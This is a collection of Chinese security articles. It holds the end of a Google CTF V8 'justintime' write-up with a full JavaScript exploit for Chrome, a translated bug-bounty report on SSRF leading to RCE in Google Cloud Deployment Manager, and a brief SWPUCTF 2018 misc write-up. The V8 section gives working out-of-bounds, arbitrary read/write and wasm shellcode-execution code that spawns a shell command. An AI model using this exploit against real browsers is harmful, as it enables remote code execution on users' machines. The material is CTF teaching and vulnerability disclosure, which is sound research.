"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1c\x00"
"\x00\x00\x44\x49\x53\x50\x4c\x41\x59\x3d\x3a\x30\x20\x67\x6e"
"\x6f\x6d\x65\x2d\x63\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x00"
"\x56\x57\x48\x89\xe6\x0f\x05";
#### e. exploit
* 结合上面的内容，release 版本 v8 的 exp 如下：
function log(msg)
{
console.log(msg);
// var elem = document.getElementById("#log");
// elem.innerText += '[+] ' + msg + '\n';
}
/******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/
var transformBuffer = new ArrayBuffer(8);
var bigIntArray = new BigInt64Array(transformBuffer);
var floatArray = new Float64Array(transformBuffer);
function Int64ToFloat64(int)
{
bigIntArray[0] = BigInt(int);
return floatArray[0];
}
function Float64ToInt64(float)
{
floatArray[0] = float;
return bigIntArray[0];
}
/******* -- 修改JSArray length 的操作 -- *******/
var oob_arr = [];
function opt_me(x)
{
oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let t = (x == 1 ? 9007199254740992 : 9007199254740989);
t = t + 1 + 1;
t -= 9007199254740990;
t *= 2;
t += 2;
oob_arr[t] = 3.4766779039175022e-310; // 0x4000.f2smi
}
// 试着触发 turboFan，从而修改 JSArray 的 length
for(let i = 0; i < 0x10000; i++)
opt_me(1);
// 简单 checker
if(oob_arr[1023] == undefined)
throw "OOB Fail!";
else
log("[+] oob_arr.length == " + oob_arr.length);
/******* -- 任意地址读写原语 -- *******/
var array_buffer;
array_buffer = new ArrayBuffer(0x233);
data_view = new DataView(array_buffer);
backing_store_offset = -1;
// 确定backing_store_offset
for(let i = 0; i < 0x4000; i++)
{
// smi(0x400) == 0x0000023300000000
if(Float64ToInt64(oob_arr[i]) == 0x0000023300000000)
{
backing_store_offset = i + 1;
break;
}
}
// 简单确认一下是否成功找到 backing_store
if(backing_store_offset == -1)
throw "backing_store is not found!";
else
log("[+] find backing_store offset: " + backing_store_offset);
function read_8bytes(addr)
{
oob_arr[backing_store_offset] = Int64ToFloat64(addr);
return data_view.getBigInt64(0, true);
}
function write_8bytes(addr, data)
{
oob_arr[backing_store_offset] = Int64ToFloat64(addr);
data_view.setBigInt64(0, BigInt(data), true);
}
/******* -- 布置 wasm 地址以及获取 RWX 内存地址 -- *******/
function prettyHex(bigint)
{
return "0x" + BigInt.asUintN(64,bigint).toString(16).padStart(16, '0');
}
// C++ 代码 `void func() {}` 的 wasm 二进制代码
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
0,1,130,128,128,128,0,0,11]);
var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
var WasmJSFunction = m.exports.func;
// 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
// 这里写入了一个哨兵值0x233333，用于查找 WasmJSFunction 地址
var WasmJSFunctionObj = {guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction};
var WasmJSFunctionIndex = -1;
for(let i = 0; i < 0x4000; i++)
{
// 查找哨兵值
if(Float64ToInt64(oob_arr[i]) == 0x233333)
{
WasmJSFunctionIndex = i + 1;
break;
}
}
// 简单确认一下是否成功找到 WasmJSFunctionAddr
if(WasmJSFunctionIndex == -1)
throw "WasmJSFunctionAddr is not found!";
else
log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);
// 获取 WasmJSFunction 地址
WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);
log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
// 获取 SharedFunctionInfo 地址
SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
// 获取 WasmExportedFunctionData 地址
WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
// 获取 WasmInstanceObject 地址
WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
// 获取 JumpTableStart 地址
JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));
/******* -- 写入并执行shell code -- *******/
var shellcode = new Uint8Array(
[0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53,
0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00,
0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e,
0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00,
0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]
);
// 写入shellcode
log("[+] writing shellcode ... ");
// (尽管单次写入内存的数据大小为8bytes，但为了简便，一次只写入 1bytes 有效数据)
for(let i = 0; i < shellcode.length; i++)
write_8bytes(JumpTableStartAddr + BigInt(i), shellcode[i]);
// 执行shellcode
log("[+] execute calculator !");
WasmJSFunction();
最终在 release 版下的 v8 可以成功调用 calculator：
* 但我们做题实际用到附件是一个带漏洞 v8 的 chromium。为了将 exploit 从 v8 移植到 chromium，其中 **做了一点点微调** ，因此最终的 exploit 如下：
> 这里主要调整了两个地方：
>
> 1. **微调了内存布局。**
>
> 将oob_arr、array_buffer以及WasmJSFunctionObj放的更近，使得内存布局的相对偏移不会太大。这样搜索哨兵值时就不用搜索太多次。
> 2. **将两个搜索哨兵值的for循环合并成一个。**
> 因为动态调试发现，当第二个for循环开始执行几十个循环后，原先存放 oob_array 以及 WasmJSFunctionObj
> 内存的数据将会被覆盖， **疑似** 因为对象被过多访问而将其移动至另一个内存段上。这对我们泄露地址相当不利，因此合并两个for循环以降低搜索次数。
<script>
/******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/
var transformBuffer = new ArrayBuffer(8);
var bigIntArray = new BigInt64Array(transformBuffer);
var floatArray = new Float64Array(transformBuffer);
function Int64ToFloat64(int) {
bigIntArray[0] = BigInt(int);
return floatArray[0];
}
function Float64ToInt64(float) {
floatArray[0] = float;
return bigIntArray[0];
}
/******* -- 修改JSArray length 的操作 -- *******/
var oob_arr = [];
function opt_me(x) {
oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let t = (x == 1 ? 9007199254740992 : 9007199254740989);
t = t + 1 + 1;
t -= 9007199254740990;
t *= 2;
t += 2;
oob_arr[t] = 3.4766779039175022e-310; // 0x4000.f2smi
}
// 试着触发 turboFan，从而修改 JSArray 的 length
for (let i = 0; i < 0x10000; i++)
opt_me(1);
// 简单 checker
if (oob_arr[1023] == undefined)
throw "OOB Fail!";
else
console.log("[+] oob_arr.length == " + oob_arr.length);
/******* -- 布置内存（使 oob_array、array_buffer 以及 WasmJSFunctionObj 相邻） -- *******/
// 注意必须在执行完turboFan后开始布置
var array_buffer;
array_buffer = new ArrayBuffer(0x233);
data_view = new DataView(array_buffer);
backing_store_offset = -1;
// C++ 代码 `void func() {}` 的 wasm 二进制代码
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 132, 128, 128, 128,
0, 1, 96, 0, 0, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5,
131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2,
6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 102, 117, 110, 99, 0, 0, 10, 136, 128, 128, 128,
0, 1, 130, 128, 128, 128, 0, 0, 11]);
var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode), {});
var WasmJSFunction = m.exports.func;
// 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
// 这里写入了一个哨兵值0x233333，用于查找 WasmJSFunction 地址
var WasmJSFunctionObj = { guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction };
var WasmJSFunctionIndex = -1;
/******* -- 任意地址读写原语 -- *******/
// 确定backing_store_offset 以及 WasmJSFunctionIndex
// 只用一个for循环，只遍历一次
for (let i = 0; i < 0x4000; i++) {
let val = Float64ToInt64(oob_arr[i]);
// 开始查找哨兵值
// 在查找array_buffer的backing_store时，注意DataView在Array_buffer高地址处
// 查找哨兵值时有可能会查找到错误的位置，因此这里只取查找到的第一个地方
if (backing_store_offset == -1 && val == 0x0000023300000000) {
backing_store_offset = i + 1;
console.log("[+] find backing_store offset: " + backing_store_offset);
}
else if (WasmJSFunctionIndex == -1 && val == 0x233333) {
WasmJSFunctionIndex = i + 1;
console.log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);
}
// 如果都找到了就不用再找，以免碰上SIGMAP
if (backing_store_offset != -1 && WasmJSFunctionIndex != -1)
break;
}
// 简单确认一下是否成功找到 backing_store
if (backing_store_offset == -1)
throw "backing_store is not found!";
// 简单确认一下是否成功找到 WasmJSFunctionAddr
else if (WasmJSFunctionIndex == -1)
throw "WasmJSFunctionAddr is not found!";
function read_8bytes(addr) {
oob_arr[backing_store_offset] = Int64ToFloat64(addr);
return data_view.getBigInt64(0, true);
}
function write_8bytes(addr, data) {
oob_arr[backing_store_offset] = Int64ToFloat64(addr);
data_view.setBigInt64(0, BigInt(data), true);
}
/******* -- 布置 wasm 地址以及获取 RWX 内存地址 -- *******/
function prettyHex(bigint) {
return "0x" + BigInt.asUintN(64, bigint).toString(16).padStart(16, '0');
}
// 获取 WasmJSFunction 地址
WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);
console.log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
// 获取 SharedFunctionInfo 地址
SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
console.log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
// 获取 WasmExportedFunctionData 地址
WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
console.log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
// 获取 WasmInstanceObject 地址
WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
console.log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
// 获取 JumpTableStart 地址
JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
console.log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));
/******* -- 写入并执行shell code -- *******/
var shellcode = new Uint8Array(
[0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53,
0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00,
0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e,
0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00,
0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]
);
// 写入shellcode
console.log("[+] writing shellcode ... ");
// (尽管单次写入内存的数据大小为8bytes，但为了简便，一次只写入 1bytes 有效数据)
for (let i = 0; i < shellcode.length; i++)
write_8bytes(JumpTableStartAddr + BigInt(i), shellcode[i]);
// 执行shellcode
console.log("[+] try to execute shellcode ... ");
WasmJSFunction();
</script>
使用如下命令以执行exp:
chrome/chrome --no-sandbox --user-data-dir=./userdata http://127.0.0.1:8000/test.html
> 尽管给出的附件打了no-sandbox的patch，但实际exp仍然无法执行，必须附加参数`--no-sandbox`才能成功触发，玄学问题XD。
效果如下：
## 七、参考
1. [Introduction to TurboFan](https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/)
2. [google-ctf-2018-browser-pwn分析](https://de4dcr0w.github.io/google-ctf-2018-browser-pwn%E5%88%86%E6%9E%90.html)
3. [Why I failed to trigger Bound Check Elimination in Google CTF 2018 Final JIT](https://mem2019.github.io/jekyll/update/2019/08/09/Google-CTF-2018-Final-JIT.html)
4. [Google CTF justintime writeup – 先知社区](https://xz.aliyun.com/t/3348?spm=5176.12901015.0.i12901015.1bc1525cy9bvzk) | 社区文章 |
本文为翻译文章，原文链接：<https://www.ezequiel.tech/2020/05/rce-in-cloud-dm.html>
## TL;DR
通过使用内部版本（狗粮（原文dogfood，翻译过来真的就叫狗粮））的谷歌云部署管理器（Google Cloud Deployment
Manager），我能够通过Google的全球服务负载平衡器（Global Service Load
Balancer）向某些Google内网站点发出请求，这就导致了RCE。
（以下三段引用是译者自己找的相关定义，表哥们可跳过）
> 什么是dogfood？
>
> Google大量使用自己的产品，他们拥有庞大的开发/办公环境，可支持运行所有的的工作。由于每天都在使用这些产品，所以在Google向公众发布产品之前，会在全公司范围内发布内部测试版本，这些测试版本就叫dogfood，狗粮版本。
> 一般情况下这些狗粮版本具有一些公众无法使用的功能，但是可能稳定性较差。
>
> 什么是Google Cloud Deployment Manager
> 谷歌云部署管理器，Google Cloud Deployment Manager，是一种基础架构部署服务，可以自动创建和管理 Google Cloud
> 资源。用户可以编写灵活的模板和配置文件，并使用它们创建包含各种 Google Cloud 服务（例如 Cloud Storage、Compute
> Engine 和 Cloud SQL）的部署，使其通过配置协同工作。
>
> 什么是Global Service Load Balancer
> 原文指向的定义链接其实为：Global Software Load
> Balancer，GSLB，是Google的全球软件负载平衡器。它使我们能够平衡集群之间的实时用户流量，从而使用户需求与可用服务容量相匹配，从而可以以对用户透明的方式处理服务故障。如下图所示，GSLB控制与GFE的连接分配以及对后端服务的请求分配。GSLB允许我们从运行在不同集群中的后端和GFE来给用户提供服务。除了维持前端和后端之间的负载平衡外，GSLB还掌握着后端服务的运行状况，并可以自动将流量从出现故障的群集中转移出去。
这可以通过向部署管理器发送一个特定请求来实现，该请求主要用来创建一个类型提供器（Type
Provider）。但添加的是一个未记录的字段叫`googleOptions`。
这其中会有一个异步操作，在这异步操作过程中，部署管理器会尝试从指定的描述符URL（descriptor URL）中检索一个描述符文件（descriptor
document）。
如果此项操作失败，它可能仍会在返回的错误消息中(例如内部服务器的响应)提示了某些信息。相反，如果成功的话，它将允许攻击者发出复杂的内部请求。
（这里有个示例的链接但是失效了呢）
请注意，这个问题并不仅限于对API的请求，只是说对于此类请求效果最好而已。非API站点的示例（Google帐户和ID管理“ GAIA“后端-测试站点）
-该`descriptorUrl`有没有都行，因为它不是一个API，一开始就没指望它会成功。
提交该漏洞报告后，谷歌支付了我$31,337（约合人民币204849.97）。
## 介绍
部署管理器是一项谷歌云服务，它提供了一种以编程方式处理基础结构资源的创建、删除和修改的方法（基础架构为代码）。
相关的部署管理器概念为：
类型：描述特定类型的基础结构资源的属性（例如：VM，发行凭证，用户权限）， 部署管理器中有几种可用的预定义类型（称为基本类型）
类型提供器：提供服务的可用API站点及其描述符文档，以供部署管理器管理该服务中的类型（例如：用于管理VM实例的API）
资源：表示由类型提供的单个基础结构资源的实例（例如：VM实例）
模板：可重用的Python或Jinja2文件，用来以编程方式配置资源
部署：资源的集合，同时兼顾部署和管理
操作：只要在部署管理器中完成的创建、修改或删除等操作，都会返回一个操作，可以对该操作进行轮询以检查其是否完成或出现错误
与部署管理器进行交互的主要方式是通过其`REST
API`，其中有以下两个记录版本：`v2`（通常可用）和`v2beta`（公开beta）（了解有关Google产品启动阶段的更多信息请访问此[链接](https://cloud.google.com/products#product-launch-stages)）。
两种版本之间的主要区别在于，类型提供器仅在`v2beta`版本中可用。
## 说明
乍一看，确实很难理解谷歌云部署管理器。如果乡亲们对此感兴趣，我建议大家先上手使用熟悉熟悉，尤其是通过v2beta版本的`REST
API`方式。阅读[docs](https://cloud.google.com/deployment-manager/docs)，然后尝试创建[部署](https://cloud.google.com/deployment-manager/docs/deployments#api)和[类型提供器](https://cloud.google.com/deployment-manager/docs/configuration/type-providers/creating-type-provider#api)来初步掌握。
我会在这篇文章中尽可能提供有用的资源链接，以期使大家更好去理解。
## 安全研究
研究部署管理器的第一种方法是查找隐藏的或内部的类型（Types），因为某些Google服务（例如Google App Engine
Flexible）在内网使用的就是部署管理器（在部署应用程序时可以在项目日志中查看到）。但是很显然，我什么都没找到。
然后，我查看了部署的`Jinja2`和`Python`模板。
通过反复试错，终于能够使用特制模板来创建部署（Deployments），这些部署将在操作上将数据作为Python异常返回。
通过这种方法，我能够检查Python库，读取Python代码以及列出/读取文件，但是模板的解释脚本（interpreting
script）却以零特权在隔离环境上运行，甚至没有网络连接。
经过这些尝试之后，我尝试创建指向谷歌内网服务API(诸如：`issuetracker.corp.googleapis.com`)的类型提供器，但是始终显示操作失败，并提示一条错误消息，指出它未收到对描述符文档的有效响应。并且，当`issuetracker.corp.googleapis.com`从外部访问时，会重定向到登录门户网站的HTML
。
任何私有IP地址都会失败，并显示一条错误消息，指出该地址不是有效地址（也尝试过绕过该地址，使用指向私有IP的域和重定向，但是结果都一样）。
这么多失败的尝试让人很受挫，因此有很长一段时间都没有继续研究部署管理器（我并不是一天内一下子干完的，这是一个非常缓慢的佛系过程）。
终于，在阳光灿烂的某一天，我决定好好研究部署管理器API方法，通过谷歌云端控制台，访问指标页面（metrics
page），以及在过滤器板块搜寻了很久，终于在一个标题为`Methods`的下拉列表里找到了这些方法（包括一个没有文档记录的）。这些方法名称中通常包含API版本。
我注意到除了v2和v2beta（已记录的版本）之外，还有另外两个API版本，分别称为`alpha`和`dogfood`。
并且我还发现，仅仅通过在每个API调用中把`V2`或`v2beta`替换为`alpha`或`dogfood`，就可以引用这些版本的方法。
但是在`Alpha`版本中玩了一圈，并没有发现任何可以利用的东西，so sad。
又但是，`dogfood`版本倒是有趣一些，特别是当我已经注意到`dogfood`这个词被用于Google服务内部测试之后。
Google中的`Dogfood`产品版本通常仅适用于Google员工，因此他们会使用这些产品，并在产品移交给客户之前提交bug。
也许此版本具有内部功能，仅适用于Google员工！（嘿嘿嘿）
当我列出该版本的基本类型时，发现其中大多数都在其定义中返回了一个额外的字段：`googleOptions`。
For 几个 example:
当我列出自己的类型提供器时，它们也包含了此类额外字段；另外，当我在查询中指定`$outputDefaults`系统参数时，可以看到`googleOptions`字段包含在哪些字段中。
深入研究了好一会儿，做了各种尝试，包括在这些字段中创建了具有不同值的类型提供器，弄清了它们各自的功能以及它们的期望值（请注意，到目前为止，我依然无法弄清楚它们中的绝大多数是干啥的）：
injectProject
布尔值。无论我指定了什么值，Deployment Manager API始终在我的Type Providers上将其设置为false。效果未知。
deleteIntent
枚举。我能够找到一个有效值为CREATE_OR_ACQUIRE。效果未知。
isLocalProvider
布尔值。每当我将其设置为true时，无论其他字段中的值如何，都能成功创建类型提供程序。但是尝试使用它创建部署的话就老是会失败，并显示一条错误信息：无法检索描述符文档。
ownershipKind
枚举。有效值为UNKNOWN、USER和GOOGLE。但是将其设置为任一这些值均未观察到任何影响，在研究过程中我始终将其设置为`GOOGLE`。
transport
枚举。最初发现的有效值为：UNKNOWN_TRANSPORT_TYPE和HARPOON。将其设置为任何这些值均未观察到效果。
credentialType
枚举。我最初发现的有效值为： UNKNOWN_CREDENTIAL_TYPE和OAUTH。将其设置为任何这些值均未观察到效果。
gslbTarget
字符串。其值为空或类似于Blade：<TARGET>或gslb：<TARGET>之类的东西。将其设置为任何值均未观察到效果。
descriptorUrlServerSpec
字符串，与gslbTarget相同或为空。将其设置为任何值均未观察到效果。
上述这些值非常有用，`GSLB`是Google的`Global Service Load
Balancer`的简称，它的作用就像内部DNS服务器和负载平衡器之间的混合体。
根据《SRE手册》，当为`GSLB`提供一个符号名称（类似于域名）时，它会把流量定向到一个链接BNS地址（Borg Naming
Service,博格命名服务），该地址与Google的内部IP地址等效。
这可以有很大可能用来实现内部服务器的SSRF！
但是无论我把`gslbTarget`和`descriptorUrlServerSpec`设置成什么值，似乎都不起任何作用。
然后，我尝试暴力破解有效的`credentialType`值，并找到一个新的值： `GAIAMINT`。
我之前看到过这个引用名称，比如，`Google Git commit`。
在使用具有该值的类型提供器测试部署的时候，我还测试了如果将类型提供器设置为使用`OAuth 2.0`访问令牌作为其身份验证机制时会发生什么情况。
得亏试了这一步，我注意到我之前设置的一个伪造的API（而不是在Authorization标头中接收访问令牌），现在将标头设置为如下所示：`EndUserCreds
1 <URL-safe Base64 data>`。
我不知道如何对此进行解码，但它看起来像是具有某些其他二进制格式的[协议缓冲区](https://developers.google.com/protocol-buffers)数据(protobuf data)，并且可以获取一些字符串：`anonymous`,
`[email protected]`（服务帐户的电子邮件，部署管理器使用该邮件作为我的项目上的token），`cloud-dm`和`cloudgaia::vjgv73:9898`。
看起来这货都是供内网使用的，一些谷歌员工证实它确实是供Google内网系统之间身份验证用户的，所以可能无法从外部访问。
但是除了这点怪异之处以外，我无法暴力破解`credentialType`的任何其他有效值，也无法传输任何值。
在这一点上，我还尝试将`staging_`添加到API版本的开头，因为我注意到[谷歌计算引擎API](https://cloud.google.com/compute/docs/apis)在`Staging`环境中都是这么做的（在某些地方确实提到了这种情况，例如[GitHub
PR](https://github.com/kubernetes/kubernetes/pull/48642#discussion_r126505288)中），并且它起作用了！
但是`Staging`环境似乎与`Production`环境完全相同。
在多次尝试失败告终之后，我又好几周都没研究过部署管理器。
## 突破：利用 Proto over HTTP
有一天，我灵机一动，想使用协议缓冲区（一个谷歌开发的二进制序列化格式）找出`credentialType`和`transport`枚举的缺失值，因为在protobuf上的枚举被表示为数字，而不是字符串，所以我可以只从1开始计数，直到找到一个新值为止。
Protobufs主要用于gRPC，这是Google开发的并由许多Google API支持的远程过程调用（RPC）系统。
不幸的是，部署管理器API并不支持gRPC，但支持一个相对未知的功能：`Proto over HTTP`。
`Proto over HTTP`是一项实验性的gRPC后备功能，只在某些Google
API上适用，也没有很好的文档说明，每个API的可用性各不相同，不同的API实施起来可能有所不同。不是每个支持GRPC的API都会支持`Proto over
HTTP`，反之亦然。所以我必须在部署管理器API上好好检查一番，并且是这样做的：
1.URL路径保持不变 (/deploymentmanager/<VERSION>/projects/<PROJECT>/global/...)
2.header的Content-Type设定为application/x-protobuf
3.在Production中，失败并显示错误消息为：不允许Proto over HTTP进行服务
4.它适用于Staging！
在熟知这些的前提下，我调用了API的`get Type
Provider`方法，并使用称为`protoc`（协议缓冲区编译器）的工具及其`--decode_raw`选项对响应协议进行了解码。
从而得到未命名的原型字段编号，以及分配给它们的值。
比较检索到的原型中的值和JSON API中的值，我迅速将每个字段号与其字段名进行匹配，并对类型提供器的协议消息定义进行逆向。
上述描述的简单示例：
1.通过JSON API创建类型提供程序：
2.通过JSON API获得了相同的类型提供程序：
3.通过Proto over HTTP API获得了相同的类型提供程序：
4.用协议解码响应：
5.找出与每个字段对应的数字（例如1 = name，2 = id，3 = insertTime等等）
6.用这些信息构造原始消息定义的近似值
经过一些修改之后，通过`Proto over HTTP`在proto字段中创建具有不同值的类型提供器并解码协议缓冲区响应， 我得到了我所缺少的足够近似的值：
transport
GSLB-它将来自部署管理器的请求定向到内部Google站点，这些站点通过gslbTarget和descriptorUrlServerSpec指定
credentialType
ENDUSERCREDS，TYPE_CREDENTIAL-它们的作用似乎与OAUTH和UNKNOWN_CREDENTIAL_TYPE相同
将`transport`设置为`GSLB`是发出内部请求的关键！
## 发现bug
通过新发现的transport值（设为GSLB），我可以通过精心设计的类型提供器，使得部署管理器能够将请求定向到谷歌内网站点......只要我知道`gslbTarget`的地址。
这是为Google App Engine Admin API-测试环境创建类型提供程序的[示例](https://gist.github.com/ezequielpereira/bc3f91ea5003de9fdba322cf4c92ac79#file-example_insert_tp_req-txt)（自我的2018 GAE RCE起，由于429错误而无法从外部访问）。
在`dogfood`版本上，通过列出类型获得了`blade：apphosting-admin`，而`appengine.v1.version`类型将`gslbTarget`参数设置的就是这个值。
在命令的末尾加了`-nightly`参数，因为在2018年`GAE Test API`从外部禁用之前，我就关注到这个字符串参数了。
这个类型提供器工作效果很棒，我成功创建了一个`Deployment`，使用它来将新应用启动到GAE
Test中，以检查我在2018年发现的bug是否已正确修复。
如果我指定了一些无效的`gslbTarget`参数值（并且我总是把`descriptorUrlServerSpec`的值设置成与`gslbTarget`的值一样），创建类型提供程序的操作将失败，要么显示一条错误消息：无法连接到GSLB端点，显示一个从内部站点返回的错误响应（通常为404
Not Found）;要么显示该响应不是有效的描述符文档（例如，某些站点返回了正常的HTML）以及响应数据。
一个站点甚至返回了一个错误页面，其中包含Java堆栈跟踪和一条消息，消息内容如下：调试信息，仅对内部IP可见！(Debugging information,
only visible to internal IPs!)
因此，我可以通过这种方式检索一些内部信息。
如果我指定了一些有效的`gslbTarget`参数，像`issuetracker.corp.googleapis.com`网站的`blade:corp-issuetracker-api`（我从我过去的一些研究中获知了GSLB名字），就能够执行调用至API！
即使我不知道`Issue Tracker`资源的格式如何，也可以通过在新的类型提供器上调用`listTypes`来轻松克服。
这些都是有趣的问题，但我有点怀疑他们所造成的影响有多大，特别是因为这些请求是和部署管理器服务帐户的凭证（针对我的项目）一起生成的，这将可能限制允许进行通信的站点。
在研究此问题时，我告知了一些Google员工，我找到了一种发送请求给GSLB站点的方法，他们让我将其记录在VRP授权票证上，以便SRE团队可以对我的行动有所了解，万一他们能检测到我的请求呢。
他们还解释了向GSLB站点发送请求时存在的一个潜在问题：
如果服务A代表用户C向服务B发出请求，会C的授权。如果没有C的凭据，则将检查A的授权。
这个问题真的很有趣，因为我注意到部署管理器使用的服务帐户凭据是由`[email protected]`委派的（我可以在Cloud Console日志中看到委派者的ID
），所以我认为，Google产品帐户至少具有委派某些服务帐户令牌的权限。
我只需要找到一种方法达成此目的，并删除服务帐户的凭据，即可使用部署管理器的身份。
到了这时，已是乌拉圭的夜晚，华灯初上，所以我只是在授权票据上写下了我的研究成果来结束这一天的研究。
第二天早上，我的爱犬在早上6点就将我叫醒，接着就收到授权票据的通知更新，其中一个如下：
然后，Eduardo迅速为我提交了一份VRP报告，对其进行了分类，然后将其升级为P0并给出了一个`Nice catch`！从报告提交到`Nice
catch`仅用了不到5分钟的时间！，这也许是最快的RCE VRP报告：)。
那天晚些时候，我问了Eduardo几个问题，他告诉我这个bug现在被视为事故，只有RCE漏洞才被这样对待。
因此，他们要求我停止进一步深入渗透，并将我的发现过程和结果的详细信息发送给他们。
我询问了此问题的潜在进一步利用方式，我的理解是：
提权可以尝试通过部署管理器服务的身份（[email protected]）来实现，因为它有可能可以访问内部服务，而普通服务帐户则无法做到这一点。
不确定是否存在这样一个攻击载体（attack vectors，在这里不知道是不是跳板的意思（愚蠢的译者注）），允许攻击者获得一个连接到谷歌内部系统的shell，但其权限可能得足够高才行。
正是由于这种可能存在的极大影响，Google将其视为RCE，并发放了31,337美元的奖励（他们当前的RCE标准金额）。
非常感谢Google VRP！
这是一个非常有趣的bug，接下来我很想知道谷歌云部署管理器中还能找到哪些问题。
## 另注
该漏洞已被修复。解决方法似乎只是：现在在类型提供器上执行`create`、`patch`或`update`操作时，指定`gslbTarget`和`descriptorUrlServerSpec`参数无效。
`dogfood`版本可能仍能通过API访问，但是，这并不意味着这是它本身的一个安全问题。（虽然可能有一些隐藏的安全漏洞）。
此外，在将我的发现报告给Google之后，甚至在完成了本文撰写的前几稿之后，我还是想检查一下是否可以通过外部公开访问Staging Deployment
Manager API的dogfood版本的发现文档。
看呐，它可以： `https://staging-deploymentmanager.sandbox.googleapis.com/$discovery/rest?version=dogfood`（GitHub的地址在[这里](https://gist.github.com/ezequielpereira/8a0b5e3aed6b95327043c8bdd433b731#file-staging-deploymentmanager-sandbox-googleapis-com_dogfood-json)，以防将来停止工作）。
该发现文档涵盖了`googleOptions`域，还涉及到了其他域的范围，但还远远不够，所以即使我之前就注意到了该文档，还是得执行和上文一样的步骤。
## 时间线
2020年5月7日：在VRP授权票据中发现并提及了该漏洞
2020年5月8日：谷歌员工核查漏洞，提交RCE报告并迅速将其升级
2020年5月19日：颁发$31,337.00奖励
2020年5月20日：漏洞已修补 | 社区文章 |
# SWPUCTF2018-WEB&MISC Write Up
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
说好的这个月不打CTF的，结果又真香了。
## MISC
### 签到题
改一下图片高度。
flag：flag{b2b85ec7ec8cc4771b8d055aee5f82b0}
### 唯有低头，才能出头
给了一行字符串：99 9 9 88 11 5 5 66 3 88 3 6 555 9 11 4 33
根据题目意思应该是键盘密码，数字的重复次数代表第几行。99代表9下面第二行的L，9代表9下面第一行的o，以此类推。
flag：swpuctf{lookatthekeyboard}
### 流量签到
记事本打开，搜索flag。
flag：SWPUCTF{Th1s_i3_e4sy_pc[@p](https://github.com/p "@p")}
## WEB
